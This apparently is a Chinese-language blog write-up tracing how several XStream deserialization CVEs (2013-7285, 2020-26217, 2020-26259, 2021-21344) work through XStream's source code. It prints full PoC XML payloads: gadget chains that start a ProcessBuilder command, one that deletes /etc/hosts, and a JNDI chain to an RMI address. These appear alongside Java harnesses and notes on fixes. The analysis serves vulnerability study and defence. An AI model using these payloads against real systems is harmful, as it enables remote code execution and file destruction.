0%

XStream反序列化漏洞梳理

序言

百川东到海,何时复西归?

这一篇来梳理XStream不同版本的花式RCE,也会是补全计划的一部分。

老实本分的XStream

XStream格局可以的,直接把自己的List< CVE >放在了首页

image-20210727162943451

会按照时间线逐个梳理。

基本API操作:

1
2
3
4
5
6
XStream xStream = new XStream();
Person person = new Person("peter",18);
// object to xml
String xml = xStream.toXML(person);
// xml to object
Object o = xStream.fromXML(xml);

重要组件

XStream类图,参考XStream 源码解析

img

主要分为四个部分:

MarshallingStrategy

编码策略:

  • marshall : object->xml 编码
  • unmarshall : xml-> object 解码

两个重要的类:

  • TreeMarshaller: 树编组程序 调用Mapper和Converter把 java对象-> XML

    其中的start方法开始编组,convertAnother方法把java对象转化成XML。

image-20210727192641609
  • TreeUnmarshaller : 树解组程序 调用Mapper和Converter把 XML->java对象

    里面的start方法开始解组,convertAnother方法把class转化成java对象。

image-20210727193134470

Mapper

映射器

image-20210727174404413

通过mapper获取对象对应的类、成员、Field属性的Class对象,赋值给XML的标签字段。

Converter

XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。

Converter的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

简单地说,Xstream的思路是通过不同的converter来处理序列化数据中不同类型的数据。

Converter需要实现3个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;
image-20210727203831632 image-20210727203706224

http://x-stream.github.io/converters.html

这里告诉了我们针对各种对象XStream做了哪些支持。

XStream编组/解组具体过程

XStream : 1.4.6

fromXML

xml->obj 先看如何反序列化出来的:

第一步:把String转化成StringReader,HierarchicalStreamDriver通过StringReader创建HierarchicalStreamReader,最后调用MarshallingStrategy的unmarshal方法开始解组

image-20210727193725097 image-20210727193927296 image-20210727194042572

第二步:进入start方法,开始解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object start(DataHolder dataHolder) {
this.dataHolder = dataHolder;
//通过Mapper获取对应节点的Class对象
Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);
//Converter根据Class的类型转化成java对象
Object result = this.convertAnother((Object)null, type);
Iterator validations = this.validationList.iterator();

while(validations.hasNext()) {
Runnable runnable = (Runnable)validations.next();
runnable.run();
}

return result;
}

先看readClassType里面做了什么事情:

1
2
3
4
5
6
7
8
9
10
11
12
public static Class readClassType(HierarchicalStreamReader reader, Mapper mapper) {
String classAttribute = readClassAttribute(reader, mapper);
Class type;
if (classAttribute == null) {
// 通过节点名获取Mapper中对应的Class对象
type = mapper.realClass(reader.getNodeName());
} else {
type = mapper.realClass(classAttribute);
}
//返回值type就是obj对应的Class对象
return type;
}

第三步 : convertAnother 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object convertAnother(Object parent, Class type, Converter converter) {
//根据mapper获取type类对象的正确类型
type = this.mapper.defaultImplementationOf(type);
if (converter == null) {
//根据type找到对应的converter
converter = this.converterLookup.lookupConverterForType(type);
} else if (!converter.canConvert(type)) {
ConversionException e = new ConversionException("Explicit selected converter cannot handle type");
e.add("item-type", type.getName());
e.add("converter-type", converter.getClass().getName());
throw e;
}

return this.convert(parent, type, converter);
}

注意这里参数parent,converter默认都是null

如何查找对应的converter?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Converter lookupConverterForType(Class type) {
//先从缓存集合中查找Converter
Converter cachedConverter = (Converter)this.typeToConverterMap.get(type);
if (cachedConverter != null) {
return cachedConverter;
} else {// 如果缓存中没有,那么就在converter中寻找
Iterator iterator = this.converters.iterator();

Converter converter;
// 遍历converters找到符合的Converter
do {
if (!iterator.hasNext()) {
throw new ConversionException("No converter specified for " + type);
}

converter = (Converter)iterator.next();
} while(!converter.canConvert(type));
// 把这次找到的放在缓存集合中
this.typeToConverterMap.put(type, converter);
return converter;
}
}

现在来到return this.convert(parent, type, converter);这句

会到com.thoughtworks.xstream.core.TreeUnmarshaller#convert这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected Object convert(Object parent, Class type, Converter converter) {
try {
this.types.push(type);
// 会进入这里
Object result = converter.unmarshal(this.reader, this);
this.types.popSilently();
return result;
} catch (ConversionException var6) {
this.addInformationTo(var6, type, converter, parent);
throw var6;
} catch (RuntimeException var7) {
ConversionException conversionException = new ConversionException(var7);
this.addInformationTo(conversionException, type, converter, parent);
throw conversionException;
}
}

image-20210727200451023

1
2
3
4
5
6
7
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
// 构造Class类对象的instance实例,field没有赋值,都是默认值
Object result = this.instantiateNewInstance(reader, context);
// 对result的field赋值
result = this.doUnmarshal(result, reader, context);
return this.serializationMethodInvoker.callReadResolve(result);
}

有趣的Converter

Xstream在处理实现了Serializable接口和没有实现Serializable接口的类生成的对象时,方法是不一样的。

Xstream的思路是在反序列化时,通过不同的converter来处理不同类型的数据。

最外层的没有实现Serializable接口的类时用的是ReflectionConverter,该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值。

如果是处理实现了Serializable接口并且重写了readObject方法的对象时使用的是SerializableConverter,并且readObject方法也会被调用。

CVE-2013-7285

影响范围:

  • XStream version <= 1.4.6 & XStream version = 1.4.10

漏洞成因

动态代理

经典老番动态代理那些事

EventHandler

EventHandler也是实现了InvocationHandler接口的类

EventHandler用来监控接口中的方法被调用后执行EventHandler中成员变量指定的方法。

image-20210727205609443

注意两个属性:target , action

看个小例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
interface HelloService {
void goodMorning();
void goodEvening();
}

class HelloImpl implements HelloService {
@Override
public void goodMorning() {
System.out.println("Good Morning!");
}

@Override
public void goodEvening() {
System.out.println("Good Evening!");
}
}
public class Tester {
public static void main(String[] args) {
HelloService hello = new HelloImpl();
EventHandler start = new EventHandler(new ProcessBuilder("open","/Applications/Calculator.app"), "start", null, null);
HelloService o = (HelloService)Proxy.newProxyInstance(hello.getClass().getClassLoader(), hello.getClass().getInterfaces(), start);
o.goodMorning();
}
}

经典老番,计算器弹出:

跟一下是怎么走的:

  1. EventHandler.invoke():
image-20210728162602037
  1. EventHandler.invokeInternal():

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    private Object invokeInternal(Object proxy, Method method, Object[] arguments) {
    String methodName = method.getName();
    if (method.getDeclaringClass() == Object.class) {
    // Handle the Object public methods.
    // 这里首先查看被调用的方法是不是hashCode、equals、toString
    if (methodName.equals("hashCode")) {
    return new Integer(System.identityHashCode(proxy));
    } else if (methodName.equals("equals")) {
    return (proxy == arguments[0] ? Boolean.TRUE : Boolean.FALSE);
    } else if (methodName.equals("toString")) {
    return proxy.getClass().getName() + '@' + Integer.toHexString(proxy.hashCode());
    }
    }

    if (listenerMethodName == null || listenerMethodName.equals(methodName)) {
    Class[] argTypes = null;
    Object[] newArgs = null;

    if (eventPropertyName == null) { // Nullary method.
    newArgs = new Object[]{};
    argTypes = new Class<?>[]{};
    }
    else {
    Object input = applyGetters(arguments[0], getEventPropertyName());
    newArgs = new Object[]{input};
    argTypes = new Class<?>[]{input == null ? null :
    input.getClass()};
    }
    try {
    int lastDot = action.lastIndexOf('.');
    if (lastDot != -1) {
    target = applyGetters(target, action.substring(0, lastDot));
    action = action.substring(lastDot + 1);
    }
    Method targetMethod = Statement.getMethod(
    target.getClass(), action, argTypes);
    if (targetMethod == null) {
    targetMethod = Statement.getMethod(target.getClass(),
    "set" + NameGenerator.capitalize(action), argTypes);
    }
    if (targetMethod == null) {
    String argTypeString = (argTypes.length == 0)
    ? " with no arguments"
    : " with argument " + argTypes[0];
    throw new RuntimeException(
    "No method called " + action + " on " +
    target.getClass() + argTypeString);
    }
    // 在这里通过反射调用方法
    return MethodUtil.invoke(targetMethod, target, newArgs);
    }
    catch (IllegalAccessException ex) {
    throw new RuntimeException(ex);
    }
    catch (InvocationTargetException ex) {
    Throwable th = ex.getTargetException();
    throw (th instanceof RuntimeException)
    ? (RuntimeException) th
    : new RuntimeException(th);
    }
    }
    return null;
    }
  2. MethodUtil.invoke(targetMethod, target, newArgs)形成了方法调用:

    image-20210728163105680

在这个例子里面:

targetMethod:ProcessBuilder.start()方法 (action参数)

target:构造好带有恶意命令的ProcessBuilder对象

在这里被invoke触发了

targetMethod哪里来的?就是一开始的action参数

1
Method targetMethod = Statement.getMethod(target.getClass(), action, argTypes);

看看Converter里面如何解析动态代理对象

DynamicProxyConverter

image-20210728164911936

如图,xml对应的标签就是<dynamic-proxy>,这其中:

<interface>标签就是被代理的接口

<handler>标签表示InvocationHandler实例

按照官网的这个例子:

dynamic-proxy标签在XStream反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah或com.foo.Woo这两个接口类中声明的方法时(即interface标签内指定的接口类),就会调用handler标签中的类方法com.foo.MyHandler。

PoC

基于接口

这种也是官网钦定的PoC,interfece字段随便选择一个public接口就行:

1
2
3
4
5
6
7
8
9
10
11
12
<dynamic-proxy>
<interface>com.thoughtworks.xstream.io.HierarchicalStreamReader</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>

复现:

1
2
3
4
5
6
7
8
9
public class Interface_Exploit {

public static void main(String[] args) throws FileNotFoundException {
FileInputStream payload = XStreamUtils.getPayload("CVE_2013_7285_Interface");
XStream xStream = new XStream();
HierarchicalStreamReader obj = (HierarchicalStreamReader)xStream.fromXML(payload);
obj.hasMoreChildren();
}
}

这里我为了省事,选的是com.thoughtworks.xstream.io.HierarchicalStreamReader接口+它内部的hasMoreChildren无参方法。

调试就是上面EventHandler那部分,这种方式结合了动态代理。

基于SortedSet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<sorted-set>
<string>test</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

复现:

1
2
3
4
5
6
7
public class SortedSet_Exploit {
public static void main(String[] args) throws FileNotFoundException {
FileInputStream payload = XStreamUtils.getPayload("CVE_2013_7285_SortedSet");
XStream xStream = new XStream();
xStream.fromXML(payload);
}
}

调试:

fromXML跟进去,到com.thoughtworks.xstream.core.TreeUnmarshaller#start,这里代表开始解析xml还原obj:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object start(DataHolder dataHolder) {
this.dataHolder = dataHolder;
// 通过mapper获取对应节点的Class对象
Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);
//Converter根据Class的类型转化成java对象
Object result = this.convertAnother((Object)null, type);
Iterator validations = this.validationList.iterator();

while(validations.hasNext()) {
Runnable runnable = (Runnable)validations.next();
runnable.run();
}

return result;
}

这里我们先进readClassType

1
2
3
4
5
6
7
8
9
10
11
12
public static Class readClassType(HierarchicalStreamReader reader, Mapper mapper) {
String classAttribute = readClassAttribute(reader, mapper);
Class type;
if (classAttribute == null) {
// 通过节点名获取Mapper中对应的Class对象
type = mapper.realClass(reader.getNodeName());
} else {
type = mapper.realClass(classAttribute);
}

return type;
}

先进入readClassAttribute方法:

1
2
3
4
5
6
7
8
9
10
11
12
public static String readClassAttribute(HierarchicalStreamReader reader, Mapper mapper) {
// 尝试在xml里获取resolves-to和class标签
String attributeName = mapper.aliasForSystemAttribute("resolves-to");
String classAttribute = attributeName == null ? null : reader.getAttribute(attributeName);
if (classAttribute == null) {
attributeName = mapper.aliasForSystemAttribute("class");
if (attributeName != null) {
classAttribute = reader.getAttribute(attributeName);
}
}
return classAttribute;
}

这里返回为空,继续来看到com.thoughtworks.xstream.core.util.HierarchicalStreams#readClass方法

获取当前节点的名称,并进行返回对应的class对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Class realClass(String elementName) {
Object cached = this.realClassCache.get(elementName);
if (cached != null) {
if (cached instanceof Class) {
return (Class)cached;
} else {
throw (CannotResolveClassException)cached;
}
} else {
try {
Class result = super.realClass(elementName);
//找到别名应的类,存储到realClassCache中,并且进行返回。
this.realClassCache.put(elementName, result);
return result;
} catch (CannotResolveClassException var4) {
this.realClassCache.put(elementName, var4);
throw var4;
}
}
}

回到start方法中:该执行Object result = this.convertAnother((Object)null, type);这里:

进入this.convertAnother方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object convertAnother(Object parent, Class type, Converter converter) {
//根据mapper获取type实现类
type = this.mapper.defaultImplementationOf(type);
if (converter == null) {
//根据type找到对应的converter
converter = this.converterLookup.lookupConverterForType(type);
} else if (!converter.canConvert(type)) {
ConversionException e = new ConversionException("Explicit selected converter cannot handle type");
e.add("item-type", type.getName());
e.add("converter-type", converter.getClass().getName());
throw e;
}
//把type转化成对应的object
return this.convert(parent, type, converter);
}

先看defaultImplementationOf方法:

image-20210728215949165

看到他返回的是java.util.TreeSet的类对象,也就是type的结果

接下来根据type找到对应的converter,也就进入lookupConverterForType方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Converter lookupConverterForType(Class type) {
//先查询缓存的类型对应的转换器集合
Converter cachedConverter = (Converter)this.typeToConverterMap.get(type);
if (cachedConverter != null) {
//如果在缓存中找得到,就返回找到的缓存转换器
return cachedConverter;
} else {
Iterator iterator = this.converters.iterator();

Converter converter;
// 开始遍历,知道找到可以转换TreeSet类型的Converter
do {
if (!iterator.hasNext()) {
throw new ConversionException("No converter specified for " + type);
}
converter = (Converter)iterator.next();
} while(!converter.canConvert(type));
// 找到之后就放在缓存中
this.typeToConverterMap.put(type, converter);
// 将匹配的converter返回
return converter;
}
}

进入convert方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected Object convert(Object parent, Class type, Converter converter) {
Object result;
if (this.parentStack.size() > 0) {
result = this.parentStack.peek();
if (result != null && !this.values.containsKey(result)) {
this.values.put(result, parent);
}
}

//获取reference标签的内容
String attributeName = this.getMapper().aliasForSystemAttribute("reference");
String reference = attributeName == null ? null : this.reader.getAttribute(attributeName);
Object cache;
if (reference != null) {
cache = this.values.get(this.getReferenceKey(reference));
if (cache == null) {
ConversionException ex = new ConversionException("Invalid reference");
ex.add("reference", reference);
throw ex;
}

result = cache == NULL ? null : cache;
} else {
//如果reference字段内容为空就到这里,获取当前标签
cache = this.getCurrentReferenceKey();
this.parentStack.push(cache);
result = super.convert(parent, type, converter);
if (cache != null) {
this.values.put(cache, result == null ? NULL : result);
}

this.parentStack.popSilently();
}

return result;
}

来到这里:

1
Object result = converter.unmarshal(this.reader, this);

通过匹配获取到的converter,调用unmarshal方法,进行xml解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
TreeSet result = null;
//判断是否存在comparator,如果不存在,则返回NullComparator对象。
Comparator unmarshalledComparator = this.treeMapConverter.unmarshalComparator(reader, context, (TreeMap)null);
boolean inFirstElement = unmarshalledComparator instanceof Null;
Comparator comparator = inFirstElement ? null : unmarshalledComparator;
TreeMap treeMap;
if (sortedMapField != null) {
// possibleResult也是创建的是一个空的TreeSet对象。而后则是一些赋值,就没必要一一去看了。
TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator);
Object backingMap = null;

try {
backingMap = sortedMapField.get(possibleResult);
} catch (IllegalAccessException var11) {
throw new ConversionException("Cannot get backing map of TreeSet", var11);
}

if (backingMap instanceof TreeMap) {
treeMap = (TreeMap)backingMap;
result = possibleResult;
} else {
treeMap = null;
}
} else {
treeMap = null;
}

if (treeMap == null) {
PresortedSet set = new PresortedSet(comparator);
result = comparator == null ? new TreeSet() : new TreeSet(comparator);
if (inFirstElement) {
this.addCurrentElementToCollection(reader, context, result, set);
reader.moveUp();
}

this.populateCollection(reader, context, result, set);
if (set.size() > 0) {
result.addAll(set);
}
} else {
//重点部分来了!!!
this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
}

return result;
}
1
this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);

跟进看:

image-20210728231700354

进入90行的putCurrentEntryIntoMap

image-20210728231815568

方法内的target参数就是sortedMap,可以看到这里读取标签内的内容并缓存到target这个Map中。

返回上一级方法:

image-20210728232032919

继续往下,来到populateMap方法

image-20210728232101565
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, final Map target) {
TreeSetConverter.this.populateCollection(reader, context, new AbstractList() {
public boolean add(Object object) {
return target.put(object, object) != null;
}

public Object get(int location) {
return null;
}

public int size() {
return target.size();
}
});
}

解读:这里就是调用populateCollection用来循环遍历子标签中的元素并添加到集合中。

继续跟,来到这里:

image-20210728234358975

进入addCurrentElementToCollection方法:

image-20210728234507693

再进入readItem方法:

image-20210728234526757

这里readItem做的事情和前面的一样:

依然还是继续读取标签内容,并且获取转换成对应的类,最后将类添加到target中。

由于我们的payload是一个动态代理类,会来到com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal这里:

image-20210728235219065

这里的hander就是我们传入的EventHandler,相当于被包装成了动态代理类proxy,proxy返回。

一路返回,在com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap这里proxy被触发:

image-20210728235502388

总结几个关键步骤:

  • TreeUnmarshaller#start开始解析xml
  • HierarchicalStreams#readClassType通过标签获取Mapper中对应的Class对象
  • TreeUnmarshaller#convertAnother将Class对象转换为对应的Java对象
    • mapper.defaultImplementationOf()查找Class类的实现类,根据实现类获取对应的converter
    • convert方法返回object对象
      • 调用对应converter的unmarshall方法继续解析子节点

如何触发的?

string标签会被识别出StringConverter转换器来解析出string标签内的字符串test;

dynamic-proxy标签会被识别出对应的DynamicProxyConverter转换器来解析出动态代理类对象;

由于TreeMap.putAll()被调用,那么TreeSetConverter会对比两个子元素即调用$Proxy0.compareTo()来比较,而dynamic-proxy标签内实现了Comparable接口,因此由动态代理机制会触发dynamic-proxy标签内的handler标签指向的EventHandler类方法,从而利用反射机制实现任意代码执行。

基于TreeMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<tree-map>
<entry>
<string>fookey</string>
<string>foovalue</string>
</entry>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>

复现:

image-20210729213929631

调试:先说结论,还是在putAll处触发

只不过这次的涉及到的转换器是TreeMapConverter,整个过程先在treemap里面放一个entry,string作为key值向里面添加。引发compareTo,handler被调用,漏洞触发。

修复

若版本号>=1.4.7,XStream提供了一个安全框架供用户使用,但必须手工设置,建立黑白名单机制进行过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
XStream.addPermission(TypePermission);
XStream.allowTypes(Class[]);
XStream.allowTypes(String[]);
XStream.allowTypesByRegExp(String[]);
XStream.allowTypesByRegExp(Pattern[]);
XStream.allowTypesByWildcard(String[]);
XStream.allowTypeHierary(Class);
XStream.denyPermission(TypePermission);
XStream.denyTypes(Class[]);
XStream.denyTypes(String[]);
XStream.denyTypesByRegExp(String[]);
XStream.denyTypesByRegExp(Pattern[]);
XStream.denyTypesByWildcard(String[]);
XStream.denyTypeHierary(Class);

在1.4.10版本之后,XStream提供了XStream.setupDefaultSecurity()函数来设置XStream反序列化类型的默认白名单,部分白名单是Xstream默认的,用户可以直接调用。

CVE-2020-26217

XStream:1.4.13

漏洞成因

一种黑名单的绕过方式

PoC

来自官网的PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

复现:

image-20210731164706500

调试:

这次PoC是map结构,其中key为jdk.nashorn.internal.objects.NativeString对象、value值为test的Entry;

而jdk.nashorn.internal.objects.NativeString对象又存在flags、value属性,它的flags属性值为0、value属性值为com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data;

前面简单几步直接跳过,不过就是首先还原出来一个hashmap,然后将本地的key,value分别赋值。

也就是MapConverter这里,target是hashmap实例,我们需要放进去的是key是NativeString,value是test字符串

image-20210731180419083

进入put,首先需要计算key的hash值:

image-20210731180636825 image-20210731180702829

这里的this就是key,也就是NativeString对象,对应的this.value就是NativeString对象的value属性,也就是payload里面的Base64Data对象:

image-20210731180733336

由于this.value不是String类型的变量,会执行this.value.toString(),继续跟:

image-20210731181123157 image-20210731181151939

this.get方法也就是Base64Data对象的get方法,如上图,在get方法内部其实本质上是调用了Base64Data对象的dataHandler属性,看PoC,this.dataHandler.getDataSource()返回的是com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource

image-20210731182419927

这里本质上is就是PoC里面的is属性值,也就是PoC里面的java.io.SequenceInputStream

接下来执行到readFrom方法:

image-20210731185247655

进入read方法:

image-20210731185429795

进入nextStream方法:

image-20210731185551586

这里的in和e在PoC里面都有对应的构造

接下来会调用e.nextElement()方法

image-20210731185847554

iterator属性也有对应的PoC构造,也就是java.imageio.spi.FilterIterator

接下来需要执行的是iterator.next().getKey();

先来到next()方法

image-20210801132432728

会先调用advance()方法:

image-20210801132529807

这里iter属性是java.util.ArrayList$Itr,filter属性是javax.imageio.ImageIO$ContainsFilter

进入filter.filter(elt)方法:

image-20210801132837648

看到这里直接就是对method属性进行了invoke调用,method是我们的start方法,name是start字符串

elt是什么?elt就是上一步的iter.next()的返回值,是java.lang.ProcessBuilder对象。

elt为构造好的java.lang.ProcessBuilder对象。在method与elt都可控的情况下,进行反射调用即可实现远程代码执行利用。

修复:

在1.4.14中对反射调用时,对class进行了黑名单拦截:

image-20210801134138222 image-20210801134206689

CVE_2020_26259

XStream:1.4.13

漏洞成因

一种任意文件删除漏洞

PoC

来自官网的PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/etc/hosts</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

26259和26217很像,前半段都利用了NativeStringBase64DataXmlDataSource

但是后半段的is属性有区别,是com.sun.xml.internal.ws.util.ReadAllStream$FileStream

调试:

还是来到get方法:

image-20210801141753861

值得注意的是,这次漏洞利用的不是Base64Data中get方法里的baos.readFrom(is)这个入口,而是位于它下面一行的is.close()这行代码。通过调试,程序在执行过get方法中baos.readFrom(is)后,紧接着执行is.Close()。

此时的is是com.sun.xml.internal.ws.util.ReadAllStream$FileStream,跟入其中的close方法,见下图:

image-20210801142302517

当这里tempFile属性其实是PoC中可控的:

1
<tempFile>/etc/hosts</tempFile>

所以如果这里tempFile字段不为空,则直接删除,存在一个任意文件删除漏洞

CVE_2021_21344

XStream:1.4.15

漏洞成因

RCE,最终漏洞的触发点是JdbcRowSetImpl 是JNDI类型注入漏洞

PoC

来自官网:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
</iMatchColumns>
<strMatchColumns>
<string>foo</string>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

调试:

不难看出这次反序列化的入口点是PriorityQueue,它也是cc链中高频出现的节点。

在之前分析过程中我们也知道,对于实现了Serializable接口的类对象,在反序列化过程中会调用重写的readObject方法

我们可以在readObject方法处打断点:

image-20210803220000591

进入heapify()方法:

image-20210803220110388 image-20210803220130104 image-20210803220200383

一路下来,在这里调用了PriorityQueue类中存储在comparator属性中的对象的compare方法,也就是PoC中的sun.awt.datatransfer.DataTransferer$IndexOrderComparator类对象,也就是说接下来会去调用这个类的compare方法

接下来会调用一系列的函数,太长了,贴一下调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
java.util.PriorityQueue#heapify
sun.awt.datatransfer.DataTransferer$IndexOrderComparator#compare
com.sun.xml.internal.ws.client.ResponseContext#get
com.sun.xml.internal.ws.api.message.MessageWrapper#getAttachments
com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart#getAttachments
com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart#getMessage
